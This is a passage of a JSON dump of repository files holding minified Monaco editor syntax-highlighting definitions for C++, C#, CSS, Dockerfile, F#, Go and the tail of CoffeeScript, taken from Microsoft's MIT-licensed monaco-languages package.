}]],string:[[/[^\"'\\#\\\\]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\./,\"string.escape.invalid\"],[/\\./,\"string.escape.invalid\"],[/#{/,{cases:{'$S2==\"':{token:\"string\",next:\"root.interpolatedstring\"},\"@default\":\"string\"}}],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}],[/#/,\"string\"]],herestring:[[/(\"\"\"|''')/,{cases:{\"$1==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}],[/[^#\\\\'\"]+/,\"string\"],[/['\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\./,\"string.escape.invalid\"],[/#{/,{token:\"string.quote\",next:\"root.interpolatedstring\"}],[/#/,\"string\"]],comment:[[/[^#]+/,\"comment\"],[/###/,\"comment\",\"@pop\"],[/#/,\"comment\"]],hereregexp:[[/[^\\\\\\/#]+/,\"regexp\"],[/\\\\./,\"regexp\"],[/#.*$/,\"comment\"],[\"///[igm]*\",{token:\"regexp\",next:\"@pop\"}],[/\\//,\"regexp\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/cpp.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/cpp\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"[\",close:\"]\"},{open:\"{\",close:\"}\"},{open:\"(\",close:\")\"},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",tokenPostfix:\".cpp\",brackets:[{token:\"delimiter.curly\",open:\"{\",close:\"}\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"},{token:\"delimiter.square\",open:\"[\",close:\"]\"},{token:\"delimiter.angle\",open:\"<\",close:\">\"}],keywords:[\"abstract\",\"amp\",\"array\",\"auto\",\"bool\",\"break\",\"case\",\"catch\",\"char\",\"class\",\"const\",\"constexpr\",\"const_cast\",\"continue\",\"cpu\",\"decltype\",\"default\",\"delegate\",\"delete\",\"do\",\"double\",\"dynamic_cast\",\"each\",\"else\",\"enum\",\"event\",\"explicit\",\"export\",\"extern\",\"false\",\"final\",\"finally\",\"float\",\"for\",\"friend\",\"gcnew\",\"generic\",\"goto\",\"if\",\"in\",\"initonly\",\"inline\",\"int\",\"interface\",\"interior_ptr\",\"internal\",\"literal\",\"long\",\"mutable\",\"namespace\",\"new\",\"noexcept\",\"nullptr\",\"__nullptr\",\"operator\",\"override\",\"partial\",\"pascal\",\"pin_ptr\",\"private\",\"property\",\"protected\",\"public\",\"ref\",\"register\",\"reinterpret_cast\",\"restrict\",\"return\",\"safe_cast\",\"sealed\",\"short\",\"signed\",\"sizeof\",\"static\",\"static_assert\",\"static_cast\",\"struct\",\"switch\",\"template\",\"this\",\"thread_local\",\"throw\",\"tile_static\",\"true\",\"try\",\"typedef\",\"typeid\",\"typename\",\"union\",\"unsigned\",\"using\",\"virtual\",\"void\",\"volatile\",\"wchar_t\",\"where\",\"while\",\"_asm\",\"_based\",\"_cdecl\",\"_declspec\",\"_fastcall\",\"_if_exists\",\"_if_not_exists\",\"_inline\",\"_multiple_inheritance\",\"_pascal\",\"_single_inheritance\",\"_stdcall\",\"_virtual_inheritance\",\"_w64\",\"__abstract\",\"__alignof\",\"__asm\",\"__assume\",\"__based\",\"__box\",\"__builtin_alignof\",\"__cdecl\",\"__clrcall\",\"__declspec\",\"__delegate\",\"__event\",\"__except\",\"__fastcall\",\"__finally\",\"__forceinline\",\"__gc\",\"__hook\",\"__identifier\",\"__if_exists\",\"__if_not_exists\",\"__inline\",\"__int128\",\"__int16\",\"__int32\",\"__int64\",\"__int8\",\"__interface\",\"__leave\",\"__m128\",\"__m128d\",\"__m128i\",\"__m256\",\"__m256d\",\"__m256i\",\"__m64\",\"__multiple_inheritance\",\"__newslot\",\"__nogc\",\"__noop\",\"__nounwind\",\"__novtordisp\",\"__pascal\",\"__pin\",\"__pragma\",\"__property\",\"__ptr32\",\"__ptr64\",\"__raise\",\"__restrict\",\"__resume\",\"__sealed\",\"__single_inheritance\",\"__stdcall\",\"__super\",\"__thiscall\",\"__try\",\"__try_cast\",\"__typeof\",\"__unaligned\",\"__unhook\",\"__uuidof\",\"__value\",\"__virtual_inheritance\",\"__w64\",\"__wchar_t\"],operators:[\"=\",\">\",\"<\",\"!\",\"~\",\"?\",\":\",\"==\",\"<=\",\">=\",\"!=\",\"&&\",\"||\",\"++\",\"--\",\"+\",\"-\",\"*\",\"/\",\"&\",\"|\",\"^\",\"%\",\"<<\",\">>\",\">>>\",\"+=\",\"-=\",\"*=\",\"/=\",\"&=\",\"|=\",\"^=\",\"%=\",\"<<=\",\">>=\",\">>>=\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/(ll|LL|u|U|l|L)?(ll|LL|u|U|l|L)?/,floatsuffix:/[fFlL]?/,tokenizer:{root:[[/[a-zA-Z_]\\w*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/\\[\\[.*\\]\\]/,\"annotation\"],[/^\\s*#\\w+/,\"keyword\"],[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/\\d*\\d+[eE]([\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F](@integersuffix)/,\"number.hex\"],[/0[0-7']*[0-7](@integersuffix)/,\"number.octal\"],[/0[bB][0-1']*[0-1](@integersuffix)/,\"number.binary\"],[/\\d[\\d']*\\d(@integersuffix)/,\"number\"],[/\\d(@integersuffix)/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"],[/'[^\\\\']'/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/\\/\\*\\*(?!\\/)/,\"comment.doc\",\"@doccomment\"],[/\\/\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]],comment:[[/[^\\/*]+/,\"comment\"],[/\\*\\//,\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],doccomment:[[/[^\\/*]+/,\"comment.doc\"],[/\\*\\//,\"comment.doc\",\"@pop\"],[/[\\/*]/,\"comment.doc\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/csharp.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/csharp\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\#\\$\\%\\^\\&\\*\\(\\)\\-\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"<\",close:\">\"},{open:\"'\",close:\"'\"},{open:'\"',close:'\"'}]},t.language={defaultToken:\"\",tokenPostfix:\".cs\",brackets:[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}],keywords:[\"extern\",\"alias\",\"using\",\"bool\",\"decimal\",\"sbyte\",\"byte\",\"short\",\"ushort\",\"int\",\"uint\",\"long\",\"ulong\",\"char\",\"float\",\"double\",\"object\",\"dynamic\",\"string\",\"assembly\",\"is\",\"as\",\"ref\",\"out\",\"this\",\"base\",\"new\",\"typeof\",\"void\",\"checked\",\"unchecked\",\"default\",\"delegate\",\"var\",\"const\",\"if\",\"else\",\"switch\",\"case\",\"while\",\"do\",\"for\",\"foreach\",\"in\",\"break\",\"continue\",\"goto\",\"return\",\"throw\",\"try\",\"catch\",\"finally\",\"lock\",\"yield\",\"from\",\"let\",\"where\",\"join\",\"on\",\"equals\",\"into\",\"orderby\",\"ascending\",\"descending\",\"select\",\"group\",\"by\",\"namespace\",\"partial\",\"class\",\"field\",\"event\",\"method\",\"param\",\"property\",\"public\",\"protected\",\"internal\",\"private\",\"abstract\",\"sealed\",\"static\",\"struct\",\"readonly\",\"volatile\",\"virtual\",\"override\",\"params\",\"get\",\"set\",\"add\",\"remove\",\"operator\",\"true\",\"false\",\"implicit\",\"explicit\",\"interface\",\"enum\",\"null\",\"async\",\"await\",\"fixed\",\"sizeof\",\"stackalloc\",\"unsafe\",\"nameof\",\"when\"],namespaceFollows:[\"namespace\",\"using\"],parenFollows:[\"if\",\"for\",\"while\",\"switch\",\"foreach\",\"using\",\"catch\",\"when\"],operators:[\"=\",\"??\",\"||\",\"&&\",\"|\",\"^\",\"&\",\"==\",\"!=\",\"<=\",\">=\",\"<<\",\"+\",\"-\",\"*\",\"/\",\"%\",\"!\",\"~\",\"++\",\"--\",\"+=\",\"-=\",\"*=\",\"/=\",\"%=\",\"&=\",\"|=\",\"^=\",\"<<=\",\">>=\",\">>\",\"=>\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/\\@?[a-zA-Z_]\\w*/,{cases:{\"@namespaceFollows\":{token:\"keyword.$0\",next:\"@namespace\"},\"@keywords\":{token:\"keyword.$0\",next:\"@qualified\"},\"@default\":{token:\"identifier\",next:\"@qualified\"}}}],{include:\"@whitespace\"},[/}/,{cases:{\"$S2==interpolatedstring\":{token:\"string.quote\",next:\"@pop\"},\"$S2==litinterpstring\":{token:\"string.quote\",next:\"@pop\"},\"@default\":\"@brackets\"}}],[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/[0-9_]*\\.[0-9_]+([eE][\\-+]?\\d+)?[fFdD]?/,\"number.float\"],[/0[xX][0-9a-fA-F_]+/,\"number.hex\"],[/0[bB][01_]+/,\"number.hex\"],[/[0-9_]+/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,{token:\"string.quote\",next:\"@string\"}],[/\\$\\@\"/,{token:\"string.quote\",next:\"@litinterpstring\"}],[/\\@\"/,{token:\"string.quote\",next:\"@litstring\"}],[/\\$\"/,{token:\"string.quote\",next:\"@interpolatedstring\"}],[/'[^\\\\']'/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],qualified:[[/[a-zA-Z_][\\w]*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],[/\\./,\"delimiter\"],[\"\",\"\",\"@pop\"]],namespace:[{include:\"@whitespace\"},[/[A-Z]\\w*/,\"namespace\"],[/[\\.=]/,\"delimiter\"],[\"\",\"\",\"@pop\"]],comment:[[/[^\\/*]+/,\"comment\"],[\"\\\\*/\",\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,{token:\"string.quote\",next:\"@pop\"}]],litstring:[[/[^\"]+/,\"string\"],[/\"\"/,\"string.escape\"],[/\"/,{token:\"string.quote\",next:\"@pop\"}]],litinterpstring:[[/[^\"{]+/,\"string\"],[/\"\"/,\"string.escape\"],[/{{/,\"string.escape\"],[/}}/,\"string.escape\"],[/{/,{token:\"string.quote\",next:\"root.litinterpstring\"}],[/\"/,{token:\"string.quote\",next:\"@pop\"}]],interpolatedstring:[[/[^\\\\\"{]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/{{/,\"string.escape\"],[/}}/,\"string.escape\"],[/{/,{token:\"string.quote\",next:\"root.interpolatedstring\"}],[/\"/,{token:\"string.quote\",next:\"@pop\"}]],whitespace:[[/^[ \\t\\v\\f]*#((r)|(load))(?=\\s)/,\"directive.csx\"],[/^[ \\t\\v\\f]*#\\w.*$/,\"namespace.cpp\"],[/[ \\t\\v\\f\\r\\n]+/,\"\"],[/\\/\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/css.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/css\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(#?-?\\d*\\.\\d\\w*%?)|((::|[@#.!:])?[\\w-?]+%?)|::|[@#.!:]/g,comments:{blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",tokenPostfix:\".css\",ws:\"[ \\t\\n\\r\\f]*\",identifier:\"-?-?([a-zA-Z]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))([\\\\w\\\\-]|(\\\\\\\\(([0-9a-fA-F]{1,6}\\\\s?)|[^[0-9a-fA-F])))*\",brackets:[{open:\"{\",close:\"}\",token:\"delimiter.bracket\"},{open:\"[\",close:\"]\",token:\"delimiter.bracket\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}],tokenizer:{root:[{include:\"@selector\"}],selector:[{include:\"@comments\"},{include:\"@import\"},{include:\"@strings\"},[\"[@](keyframes|-webkit-keyframes|-moz-keyframes|-o-keyframes)\",{token:\"keyword\",next:\"@keyframedeclaration\"}],[\"[@](page|content|font-face|-moz-document)\",{token:\"keyword\"}],[\"[@](charset|namespace)\",{token:\"keyword\",next:\"@declarationbody\"}],[\"(url-prefix)(\\\\()\",[\"attribute.value\",{token:\"delimiter.parenthesis\",next:\"@urldeclaration\"}]],[\"(url)(\\\\()\",[\"attribute.value\",{token:\"delimiter.parenthesis\",next:\"@urldeclaration\"}]],{include:\"@selectorname\"},[\"[\\\\*]\",\"tag\"],[\"[>\\\\+,]\",\"delimiter\"],[\"\\\\[\",{token:\"delimiter.bracket\",next:\"@selectorattribute\"}],[\"{\",{token:\"delimiter.bracket\",next:\"@selectorbody\"}]],selectorbody:[{include:\"@comments\"},[\"[*_]?@identifier@ws:(?=(\\\\s|\\\\d|[^{;}]*[;}]))\",\"attribute.name\",\"@rulevalue\"],[\"}\",{token:\"delimiter.bracket\",next:\"@pop\"}]],selectorname:[[\"(\\\\.|#(?=[^{])|%|(@identifier)|:)+\",\"tag\"]],selectorattribute:[{include:\"@term\"},[\"]\",{token:\"delimiter.bracket\",next:\"@pop\"}]],term:[{include:\"@comments\"},[\"(url-prefix)(\\\\()\",[\"attribute.value\",{token:\"delimiter.parenthesis\",next:\"@urldeclaration\"}]],[\"(url)(\\\\()\",[\"attribute.value\",{token:\"delimiter.parenthesis\",next:\"@urldeclaration\"}]],{include:\"@functioninvocation\"},{include:\"@numbers\"},{include:\"@name\"},[\"([<>=\\\\+\\\\-\\\\*\\\\/\\\\^\\\\|\\\\~,])\",\"delimiter\"],[\",\",\"delimiter\"]],rulevalue:[{include:\"@comments\"},{include:\"@strings\"},{include:\"@term\"},[\"!important\",\"keyword\"],[\";\",\"delimiter\",\"@pop\"],[\"(?=})\",{token:\"\",next:\"@pop\"}]],warndebug:[[\"[@](warn|debug)\",{token:\"keyword\",next:\"@declarationbody\"}]],import:[[\"[@](import)\",{token:\"keyword\",next:\"@declarationbody\"}]],urldeclaration:[{include:\"@strings\"},[\"[^)\\r\\n]+\",\"string\"],[\"\\\\)\",{token:\"delimiter.parenthesis\",next:\"@pop\"}]],parenthizedterm:[{include:\"@term\"},[\"\\\\)\",{token:\"delimiter.parenthesis\",next:\"@pop\"}]],declarationbody:[{include:\"@term\"},[\";\",\"delimiter\",\"@pop\"],[\"(?=})\",{token:\"\",next:\"@pop\"}]],comments:[[\"\\\\/\\\\*\",\"comment\",\"@comment\"],[\"\\\\/\\\\/+.*\",\"comment\"]],comment:[[\"\\\\*\\\\/\",\"comment\",\"@pop\"],[/[^*/]+/,\"comment\"],[/./,\"comment\"]],name:[[\"@identifier\",\"attribute.value\"]],numbers:[[\"-?(\\\\d*\\\\.)?\\\\d+([eE][\\\\-+]?\\\\d+)?\",{token:\"attribute.value.number\",next:\"@units\"}],[\"#[0-9a-fA-F_]+(?!\\\\w)\",\"attribute.value.hex\"]],units:[[\"(em|ex|ch|rem|vmin|vmax|vw|vh|vm|cm|mm|in|px|pt|pc|deg|grad|rad|turn|s|ms|Hz|kHz|%)?\",\"attribute.value.unit\",\"@pop\"]],keyframedeclaration:[[\"@identifier\",\"attribute.value\"],[\"{\",{token:\"delimiter.bracket\",switchTo:\"@keyframebody\"}]],keyframebody:[{include:\"@term\"},[\"{\",{token:\"delimiter.bracket\",next:\"@selectorbody\"}],[\"}\",{token:\"delimiter.bracket\",next:\"@pop\"}]],functioninvocation:[[\"@identifier\\\\(\",{token:\"attribute.value\",next:\"@functionarguments\"}]],functionarguments:[[\"\\\\$@identifier@ws:\",\"attribute.name\"],[\"[,]\",\"delimiter\"],{include:\"@term\"},[\"\\\\)\",{token:\"attribute.value\",next:\"@pop\"}]],strings:[['~?\"',{token:\"string\",next:\"@stringenddoublequote\"}],[\"~?'\",{token:\"string\",next:\"@stringendquote\"}]],stringenddoublequote:[[\"\\\\\\\\.\",\"string\"],['\"',{token:\"string\",next:\"@pop\"}],[/[^\\\\\"]+/,\"string\"],[\".\",\"string\"]],stringendquote:[[\"\\\\\\\\.\",\"string\"],[\"'\",{token:\"string\",next:\"@pop\"}],[/[^\\\\']+/,\"string\"],[\".\",\"string\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/dockerfile.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/dockerfile\",[\"require\",\"exports\"],function(e,s){\"use strict\";Object.defineProperty(s,\"__esModule\",{value:!0}),s.conf={brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},s.language={defaultToken:\"\",tokenPostfix:\".dockerfile\",instructions:/FROM|MAINTAINER|RUN|EXPOSE|ENV|ADD|VOLUME|LABEL|USER|WORKDIR|COPY|CMD|STOPSIGNAL|SHELL|ENTRYPOINT/,instructionAfter:/ONBUILD/,variableAfter:/ENV/,variable:/\\${?[\\w]+}?/,tokenizer:{root:[{include:\"@whitespace\"},{include:\"@comment\"},[/(@instructionAfter)(\\s+)/,[\"keyword\",{token:\"\",next:\"@instructions\"}]],[\"\",\"keyword\",\"@instructions\"]],instructions:[[/(@variableAfter)(\\s+)([\\w]+)/,[\"keyword\",\"\",{token:\"variable\",next:\"@arguments\"}]],[/(@instructions)/,\"keyword\",\"@arguments\"]],arguments:[{include:\"@whitespace\"},{include:\"@strings\"},[/(@variable)/,{cases:{\"@eos\":{token:\"variable\",next:\"@popall\"},\"@default\":\"variable\"}}],[/\\\\/,{cases:{\"@eos\":\"\",\"@default\":\"\"}}],[/./,{cases:{\"@eos\":{token:\"\",next:\"@popall\"},\"@default\":\"\"}}]],whitespace:[[/\\s+/,{cases:{\"@eos\":{token:\"\",next:\"@popall\"},\"@default\":\"\"}}]],comment:[[/(^#.*$)/,\"comment\",\"@popall\"]],strings:[[/'$/,\"string\",\"@popall\"],[/'/,\"string\",\"@stringBody\"],[/\"$/,\"string\",\"@popall\"],[/\"/,\"string\",\"@dblStringBody\"]],stringBody:[[/[^\\\\\\$']/,{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}],[/\\\\./,\"string.escape\"],[/'$/,\"string\",\"@popall\"],[/'/,\"string\",\"@pop\"],[/(@variable)/,\"variable\"],[/\\\\$/,\"string\"],[/$/,\"string\",\"@popall\"]],dblStringBody:[[/[^\\\\\\$\"]/,{cases:{\"@eos\":{token:\"string\",next:\"@popall\"},\"@default\":\"string\"}}],[/\\\\./,\"string.escape\"],[/\"$/,\"string\",\"@popall\"],[/\"/,\"string\",\"@pop\"],[/(@variable)/,\"variable\"],[/\\\\$/,\"string\"],[/$/,\"string\",\"@popall\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/fsharp.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/fsharp\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{lineComment:\"//\",blockComment:[\"(*\",\"*)\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},t.language={defaultToken:\"\",tokenPostfix:\".fs\",keywords:[\"abstract\",\"and\",\"atomic\",\"as\",\"assert\",\"asr\",\"base\",\"begin\",\"break\",\"checked\",\"component\",\"const\",\"constraint\",\"constructor\",\"continue\",\"class\",\"default\",\"delegate\",\"do\",\"done\",\"downcast\",\"downto\",\"elif\",\"else\",\"end\",\"exception\",\"eager\",\"event\",\"external\",\"extern\",\"false\",\"finally\",\"for\",\"fun\",\"function\",\"fixed\",\"functor\",\"global\",\"if\",\"in\",\"include\",\"inherit\",\"inline\",\"interface\",\"internal\",\"land\",\"lor\",\"lsl\",\"lsr\",\"lxor\",\"lazy\",\"let\",\"match\",\"member\",\"mod\",\"module\",\"mutable\",\"namespace\",\"method\",\"mixin\",\"new\",\"not\",\"null\",\"of\",\"open\",\"or\",\"object\",\"override\",\"private\",\"parallel\",\"process\",\"protected\",\"pure\",\"public\",\"rec\",\"return\",\"static\",\"sealed\",\"struct\",\"sig\",\"then\",\"to\",\"true\",\"tailcall\",\"trait\",\"try\",\"type\",\"upcast\",\"use\",\"val\",\"void\",\"virtual\",\"volatile\",\"when\",\"while\",\"with\",\"yield\"],symbols:/[=><!~?:&|+\\-*\\^%;\\.,\\/]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/[uU]?[yslnLI]?/,floatsuffix:/[fFmM]?/,tokenizer:{root:[[/[a-zA-Z_]\\w*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/\\[<.*>\\]/,\"annotation\"],[/^#(if|else|endif)/,\"keyword\"],[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,\"delimiter\"],[/\\d*\\d+[eE]([\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/0x[0-9a-fA-F]+LF/,\"number.float\"],[/0x[0-9a-fA-F]+(@integersuffix)/,\"number.hex\"],[/0b[0-1]+(@integersuffix)/,\"number.bin\"],[/\\d+(@integersuffix)/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"\"\"/,\"string\",'@string.\"\"\"'],[/\"/,\"string\",'@string.\"'],[/\\@\"/,{token:\"string.quote\",next:\"@litstring\"}],[/'[^\\\\']'B?/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/\\(\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]],comment:[[/[^\\*]+/,\"comment\"],[/\\*\\)/,\"comment\",\"@pop\"],[/\\*/,\"comment\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/(\"\"\"|\"B?)/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}]],litstring:[[/[^\"]+/,\"string\"],[/\"\"/,\"string.escape\"],[/\"/,{token:\"string.quote\",next:\"@pop\"}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/go.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/go\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"`\",close:\"`\",notIn:[\"string\"]},{open:'\"',close:'\"',notIn:[\"string\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"`\",close:\"`\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},n.language={defaultToken:\"\",tokenPostfix:\".go\",keywords:[\"break\",\"case\",\"chan\",\"const\",\"continue\",\"default\",\"defer\",\"else\",\"fallthrough\",\"for\",\"func\",\"go\",\"goto\",\"if\",\"import\",\"interface\",\"map\",\"package\",\"range\",\"return\",\"select\",\"struct\",\"switch\"